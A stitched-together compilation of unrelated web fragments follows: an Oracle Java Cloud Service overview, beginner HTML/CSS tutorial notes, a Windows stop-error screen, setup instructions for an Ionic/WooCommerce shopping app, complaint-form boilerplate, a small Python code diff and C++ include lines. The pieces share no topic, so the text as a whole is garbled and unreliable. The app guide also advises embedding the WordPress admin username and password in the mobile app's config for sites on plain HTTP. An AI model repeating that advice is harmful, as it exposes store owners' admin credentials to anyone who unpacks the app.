Hi,
I will discuss about the Java Cloud - as the name suggest it deals with something related to Java as cloud service. Actually Oracle Java Cloud Service provides a platform to develop and deploy business applications in the cloud. With Oracle Java Cloud Service (Java Cloud Service), businesses can maximize productivity with instant access to a cloud environment powered by Oracle WebLogic Server, complete with integrated security and database access. This section provides a brief introduction to Java Cloud Service. It explains core Java Cloud Service concepts and how to install the Java Cloud Service SDK, and offers an overview of deploying Java EE applications.
Basically in a nutshell , what Oracle Java Cloud is providing is a way how you can deploy a Java application (in a WAR file format) and easily attach a database on the fly. This has basically great advantage for the testers of the application as they can test the application on the fly . With the subscription of Oracle Java Cloud you get separate instances for Java Service and DBMS service and believe with what comes bundled with this is the top-notch security of Oracle with SSO(Single Sign On) service embedded , which deals with the security.
One great thing about Oracle Java Cloud is that they provide a 1 month trial version which provides you all the services of the full version so that you can evaluate and carry on with the paid subscription.
Along with this write up I am attaching a presentation which gives a clear perception of Cloud services .
Please feel free to post comments/concerns and questions I will be happy to answer them.


We interact with the internet through our computer and browser. The browser is a program that displays files on the web, intepreting them to show us what we see. The internet is essentially the world's largest computer, pulling files from servers though HTTP from the servers.
The Web is made up of mainly HTML documents. HTML stands for hypertext markup language and works essentially as the glue for everything else on the internet. There are five types of files on the web: plain text, HTML, images, videos, and music . HTML allows for hyperlinks, making the web "web-like".
HTML is made up of four elements. What you see is referred to as the text content. How the text content is displayed to you is the mark up. Links to other pages or reference to other documents like images and videos are how it helps the internet. This is well-explained here .
A HTML markup is made up of the name of the tag, the content of the tag, and the end of the tag. This is explained in this video.
There are two types of tags: inline and block.
Inline tags are just tags that affect the text while block tags group together text that can be altered together, essentially putting them into boxes with height and width.
Common inline tags change the text so you can put them into italics and bold. How to use the bold tag is in this video.. How to use the italics tag is in this video
.
Another commonly used inline tag is attributes. This is how I linked all of the videos in this site. You can learn how to make them in this video
.
Having images is just as simple with a little change. Image tags, like the break tag (used to add breaks in the text n the white space on the page) are void tags, meaning they don't need a closing tag.
Adding images is shown here
. The concept of white space would be hard to explain on this limited text so just watch this .
.
Block tags have already been mentioned as different from inline tags. One commonly used block tag is the paragraph tag. This is used to group together text into a block. All of the text under a section heading, before another section heading here has been placed into a paragraph tag.  Only the correct syntax will be understood properly by the computer.  That's what google is for.
 HTML is like the walls of the house. CSS controls how the house looks, like the color of the walls. Javascript shapes how one interacts with the house, like a garage opener.
Not all elements of the web is visible but all that is visible is in a rectangle. Even other shapes are in a box, making rearranging web interfaces a lot simplier.
A HTML document can be broken down into a tree-like structure. This tree-like structures also means that HTML elements can have other elements inside of them. This structure would show up in a series of nested boxes. This is explained in this video.
Important Vocabulary:CSS is the decoration of the walls, displaying the HTML in the way desired. It is applied as the law of the website with a concept called inheritance . What this means is that properties are applied to a specificed element as well as any continuing ones, essentially the entire page. CSS is a great way to avoid repetition so programmers don't have to write the same code over and over. It also avoids problems that can arise from repeated code since every code needs to be adjusted. Using CSS will just change everything in one go.
With a selection, declaration, value and property. The section could be a heading tag or div class tag. This concept has been explained in this video.
There are three methods of adding CSS Styling to a Webpage:Browsers use default stylesheets to determine how to display the HTML elements. There is a need to standardize it. This is explained better in this video. Using a prefix in your CSS code can also modify the code for different browsers.
By setting the size of the boxes to percentages, the page will adjust for changing window size.
Using the div tag as a block element makes it difficult since it takes up the entire width of the page. Adding a rule display:flex to the appropriate CSS can override this issue.


A problem has been detected and windows has been shut down to prevent damage to your computer.
If this is the first time you've seen this Stop error screen, restart your computer. If this screen appears again, follow these steps:
Check to be sure you have adequate disk space. If a driver is identified in the Stop message, disable the driver or check with the manufacturer for driver updates. Try changing video adapters.
Check with your hardware vendor for any BIOS updates. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup options, and then select Safe Mode.
Technical information:
*** STOP: 0x0000007e (0x80000003, 0x805c49b8, 0xf7a172b4, 0xf7a16fb0)


Introduction
The app is connected with Woocommerce (WordPress) using REST APIs, the following documentation will guide you through the process to connect the app with your Woocommerce Store.
Setting up your wordpress
-
Install Wordpress
Follow this link to get help in installing Wordpress:
https://codex.wordpress.org/Installing_WordPress
-
Install and setup Woocommerce
Follow this link to get help in installing and setup Woocommerce:
https://docs.woocommerce.com/document/installation-2/
-
REST APIs for Woocommerce
To use the latest version of the REST API you must be using:
- WooCommerce 2.6+.
- WordPress 4.4+.
- You may access the API over either HTTP or HTTPS, but HTTPS is recommended where possible.
- IMPORTANT: If your website uses https protocol i.e your website url is https://www.example.com, you will need to generate
CONSUMER KEY and CONSUMER SECRET.
Go to
WooCommerce
>Settings
>Advanced
>REST API
>ADD Key
. Copy both CONSUMER KEY and CONSUMER SECRET, these values will be required when we setup mobile application further in this document. You are not required to follow this step if your website uses http protocol. -
Setup Pretty permalinks in Settings > Permalinks so that the custom endpoints are supported. Default permalinks will not work.
- You also need to ensure that you web serve(Apache/Nginx) supports
HTTP Authorization Header
. If you are using shared hosting and it has disabled the HTTP Authorization Header, then you need to enable it. To enable Authorization Header, please follow the following steps- Login to your shared hosting
- Visit file manager and go to the root directory of your website.
- You’ll find a .htaccess file, in this file after
RewriteEngine on
line add following two lines:RewriteCond %{HTTP:Authorization} ^(.*) RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]
- After this change, ensure that a section of your file looks as below:
RewriteEngine on RewriteCond %{HTTP:Authorization} ^(.*) RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]
-
Plugins
-
mobile-ecommerce.zip (Required)
You will find the file named
mobile-ecommerce.zip
inwordpress-plugins
folder in the package you downloaded from envato. It provides multiple capabilities to our app and is neccessary to install. It enablesAuthorization Header
based authentication for Woocommerce Rest APIs for websites that use http protocol. You need to install this plugin in your wordpress. If you are not aware of how to install the wordpress plugin, follow the following steps:- In your wordpress admin, go to Admin Menu > Plugins > Add New > Upload Plugin
- Choose the file
mobile-ecommerce.zip
- Click on Install Now
- Click on Activate Plugin
-
WooCommerce PayU India (Optional)
You only need to install this plugin if you need to integrate PayUMoney payment gateway. Follow the following link to install and setup this plugin:
https://wordpress.org/plugins/woocommerce-payu-paisa/
-
Mobile App
-
Install Node.js
You must have Node.js installed on your system to begin building our app. Please follow the following step if nodejs is not installed on your system. If already done, you can skip this step
Note: Install Node.js version 8 or above on your system.
Download the Node.js as per your operating system from https://nodejs.org/en/download/ To ensure that you have correct version of nodejs installed, from the command line issue the following command
node -v
If you see the string containing version number greater than 8, you are good to go. If you get
command not found error
, that means nodejs is not properly installed on your system. You’ll need to troubleshoot the problem.You may be able to use node version lessser than 8 but we haven’t tested the app with these versions
-
Install ionic and cordova
In order to build our app you need to have installed ionic and cordova on your system. To install these packages issue the following command from command line:
npm install -g<EMAIL_ADDRESS>cordova
This will install the ionic and cordova programs on your system. To ensure that you have successfully installed both the programs, issue following command from the command line
ionic -v && cordova -v
If version number gets printed on the console, you are good to go. If you get
command not found error
, that means that these programs didn’t get properly installed on your system. You’ll need to troubleshoot the problem.Make sure you do not accidentally install ionic-v4(beta)
-
Connect the app with your woocommerce store
In order to connect the app with your woocommerce store, you need to make changes in the
src/app/app.config.ts
. Update the values of the following variables- apiBase - Example Value:
http://www.example.com/wp-json/
. This is the base url of woocommerce’s REST APIs. Few of the examples of apiBase values are as follows:- http://www.example.com/wp-json/
- http://subdomain.example.com/wp-json/
- http://www.example.com:8000/wp-json/
- http://www.example.com/subdirectory/wp-json/
Note: Replace www.example.com with your domain or IP address
-
consumerKey - Only set this if your website uses https protocol i.e your website url is like this https://www.example.com. This is the Consumer Key that you generated above while setting up REST APIs for Woocommerce. You may leave it blank if your website uses http protocol
-
consumerSecret - Only set this if your website uses https protocol https://www.example.com. This is the Consumer Secret that you generated above while setting up REST APIs for Woocommerce. You may leave it blank if your website uses http protocol
-
adminUsername - Only set this if your website uses http protocol http://www.example.com. This is the admin’s username of your wordpress website, that you use while loging in admin section. You may leave it blank if your website uses https protocol
-
adminPassword - Only set this if your website uses http protocol http://www.example.com. This is the admin’s password of your wordpress website, that you use while loging in admin section. You may leave it blank if your website uses https protocol
-
paypalProduction - Use your Paypal’s PRODUCTION_CLIENT_ID. For more info, please visit https://ionicframework.com/docs/native/paypal/
-
paypalSandbox - Use your Paypal’s SANDBOX_CLIENT_ID (you will need this only for testing purpose, otherwise you can leave it blank)
-
payuSalt: Your PayUMoney salt
-
payuKey: Your PayUMoney key
- appName: You can change the home screen title of the app by setting this value. Default: MOBIMALL
Please make sure that you understand that you need to enter values for consumerKey and consumerSecret if your website uses https. And if your website uses http, you need to enter values for adminUsername and adminPassword.
- apiBase - Example Value:
-
Social Login and Phone Authentication
*Note: This section is bit advance and novice users/developers may find it bit difficult to follow it. We have tried to make it as user/developer friedly as we can do. If you still face any issue you can contact us for support here or if you find it hard to implement, please purchase our installation service and we will do the complete setup for you.
*Note: Phone Authentication or some other functionality will not work on web and simulator. Kindly use real physical device for testing.
Before continuing make sure you have :-
- Firebase Account https://console.firebase.google.com
- Facebook App https://developers.facebook.com/apps
- SHA-1 fingerprint for the app https://cloud.google.com/solutions/mobile/mobile-firebase-app-engine-flexible#generating_a_sha-1_fingerprint_for_the_app
After following the steps given below make sure you have values of all the following keys with you:
- webApplicationId: Dummy value =><PHONE_NUMBER>03-tti40jbrr3ukb2t3abebcesl5sd0ql099.apps.googleusercontent.com
- apiKey: Dummy value => AIzaSyBg3aFpqNbi0kp3maA5SnCXeWXXF_PGEXuI
- authDomain: Dummy value => laundry-f924zgs.firebaseapp.com
- databaseURL: Dummy value => https://laundry-f924zgs.firebaseio.com
- projectId: Dummy value => laundry-f924zgs
- storageBucket: Dummy value => laundry-f924zgs.appspot.com
- messagingSenderId: Dummy value =><PHONE_NUMBER>51
- FACEBOOK APP ID
- FACEBOOK APP SECRET
(Do not use given Dummy values in your project, they will not work. They are just for illustration purpose.)
Firebase Setup
-
Create a Firebase account or log into an existing account.
-
Click Add project. Follow the remaining setup steps and click Create project.
-
After the wizard provisions your project, click Continue.
-
In the Overview page of your project, click the Settings gear and then click Project settings.
-
Click Add Firebase to your Android app and follow the wizard
-
In Debug signing certificate SHA-1, enter the SHA-1 value you generated in the previous section.
-
Click Register app.
-
Download the google-services.json file and place it in root directory of app code.
-
Click Next in the Download config file section and follow the rest of the steps if required.
-
In the same section click on Add App but choose Add Firebase to your web app section this time
-
Copy all the highlated values and paste in app.config.ts as a value of respective key
- Your app.config.ts will look as follows
- Next click on Authentication and click on Sign-in method
-
Enable Phone Authentication and Google
-
When you will enable Google you will see Web SDK configuration section, click to expand it
- Copy the value of Web client ID, this is the value you will need to paste in webApplicationId in app.config.ts in app source code
Facebook Setup
- Create an app at https://developers.facebook.com/apps
- Retrieve the App ID and App Name.
-
Then type in the following command in your Terminal, where
APP_ID
andAPP_NAME
are the values from the Facebook Developer portal.> ionic cordova plugin add cordova-plugin-facebook4 --variable APP_ID="123456789" --variable APP_NAME="myApplication" > npm install --save<EMAIL_ADDRESS>- In config.xml, replace the YOUR_FACEBOOK_APP_ID with your Facebook APP ID and YOUR_FACEBOOK_APP_NAME with your Facebook App Name in following code:
<config-file parent="/resources" target="./res/values/strings.xml"> <string name="fb_app_id">YOUR_FACEBOOK_APP_ID</string> <string name="fb_app_name">YOUR_FACEBOOK_APP_NAME</string> </config-file>
- If you are building for Android, please follow this two steps also to complete the Facebook integration:
- https://developers.facebook.com/docs/facebook-login/android#5–associate-your-package-name-and-default-class-with-your-app
- https://developers.facebook.com/docs/facebook-login/android#6–provide-the-development-and-release-key-hashes-for-your-app
In summary, you will need to add Android platform to your Facebook App and enter the debug and release keys. Some users may face some difficulty in retreiving debug and release key, kindly go through the second link thoroughly.
cordova-plugin-googleplus
-
Run the following command to add the support for google login
> ionic cordova plugin add cordova-plugin-googleplus --save --variable WEB_APPLICATION_CLIENT_ID=mywebapplicationclientid > npm install --save<EMAIL_ADDRESS>Your mywebapplicationclientid will look something like this<PHONE_NUMBER>03-tti40jbrr3ukb2t3abebcesl5sd0ql099.apps.googleusercontent.com. We have already demonstrated above how to get this id.
Final Checklist
In summary, make sure you have followed all these steps before proceeding
- Added project in firebase
- Added debug and release SHA-1 key in firebase
- Downloaded google-services.json file from firebase and placed it in root folder of the app source code
- Enabled Phone Authentication and Google in signin method in firebase
- Updated all the required values in app.config.ts
- Created Facebook app
- Added required platforms(Android/iOS) in your Facebook app and debug and releash SHA1 keys
-
Installed
cordova-plugin-googleplus
andcordova-plugin-facebook4
cordova plugins> ionic cordova plugin add cordova-plugin-googleplus --save --variable WEB_APPLICATION_CLIENT_ID=mywebapplicationclientid > npm install --save<EMAIL_ADDRESS>> ionic cordova plugin add cordova-plugin-facebook4 --variable APP_ID="123456789" --variable APP_NAME="myApplication" > npm install --save<EMAIL_ADDRESS>Useful links
- SHA-1 key related
- Google login
- Facebook login
-
Push Notifications
Your can configure our mobile app to recieve the push notifications when order’s status is updated from backend. Push notfications are integrated through One Signal. You will need an account of OneSignal before proceeding. Please follow the following steps:
- Create an account on OneSignal if you do not already have one.
- Create a new app in OneSignal
- Grab your OneSignal App ID, available in Keys & IDs
- Install OneSingal Wordrepss Plugin on your wordpress site
- Setup the wordpress plugin you just installed in previous step. This guide may help you https://documentation.onesignal.com/docs/accounts-and-keys#section-app-id
- In
src/app/app.config.ts
set the following values:- oneSignalAppId: Your OneSignal App ID or just App ID, is the main identifier of your OneSignal app. Follow this instruction to retreive it https://documentation.onesignal.com/docs/accounts-and-keys#section-keys-ids
- oneSignalGPSenderId: A unique numerical value created when you create your Firebase project, available in the Cloud Messaging tab of the Firebase console Settings pane. The sender ID is used to identify each sender that can send messages to the client app.
Useful links
- Instructions on how to setup OneSignal for Ionic https://documentation.onesignal.com/docs/ionic-sdk-setup
-
Build App
Since the app depends on various native capabilities we suggest you to check the app on physical device instead of checking it in browser. Once you have followed all the steps given above you can build the app for android and ios. But keep in mind that Ionic doesn’t bundle all of the tooling required to build an app, it relies on some additional SDKs and software provided by Apple and/or Google. You’ll need to set up the platform tooling before you can preview or emulate an application on a simulator or device.
Once done, you can run following command to run the app on your Android device:
> ionic cordova run android
To build the apk, run:
> ionic cordova build android
Simillarly for iOS, you can run:
> ionic cordova build ios
If you find the given information insufficient for you to successfully build or publish the app on app/play store. Please visit https://ionicframework.com/docs/intro/deploying/ for indepth documentation.
-
PayUMoney:
- Create an account on PayUMoney
- Setup Payumoney key and Salt in variables “payuKey” and “payuSalt” respectively in
src/app/app.config.ts
file.
-
PayPal
- Setup paypal by creating account here: https://www.paypal.com/in/webapps/mpp/account-selection?pros=1and add keys. How to Find the keys
- Setup PayPal sandbox id in variable “paypalSandbox” in the following file: src/app/app.config.ts
-
Deploy App
Deploying apps on Google Play Store and Apple App Store is out of the scope of this document. Kindly refer to this guide for further instructions.
Note: If you are unable to understand any topic or find any topic needs more elaboration. Please raise an issue ticket at this link https://opuslabs.freshdesk.com


Identify who is involved in this complaint. This could include yourself, a co-borrower, or someone helping submit the complaint for you, such as a lawyer, an advocate, or a family member.
Allowing full access may require documentation, such as a release form signed and submitted by the primary consumer. You can include an authorization as an attachment in Step 3.
We’ll use this email address to send status updates about this complaint. It will also be the username for the account.
Allowing full access may require documentation, such as a release form signed and submitted by the primary consumer. You can include this as an attachment in Step 3.
We’ll use this email address to send status updates about this complaint. It will also be the username for the account.


Before Change
// prevalence(), positive_likelihood_ratio(), negative_likelihood_ratio(), diagnostics_odds_ratio()
// were missing "when_zero" parameter and therefore it was added in their prototypes
metrics_names = [name for names in list(metrics.values()) for name in names]
batch_size = 2
image_size = 2
After Change
// prevalence(), positive_likelihood_ratio(), negative_likelihood_ratio(), diagnostics_odds_ratio()
// were missing "when_zero" parameter and therefore it was added in their prototypes
metrics_names = list(chain.from_iterable(metrics_dict.values())) // list of all metric names from metrics_dict values
metrics_names.remove("accuracy") // since accuracy is tested separately, it is removed from metrics_names list
batch_size = 2


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#include "drake/systems/analysis/hermitian_dense_output.h"
#include <gtest/gtest.h>
#include "drake/common/eigen_types.h"
#include "drake/common/test_utilities/eigen_matrix_compare.h"
#include "drake/common/test_utilities/expect_throws_message.h"
#include "drake/common/trajectories/piecewise_polynomial.h"
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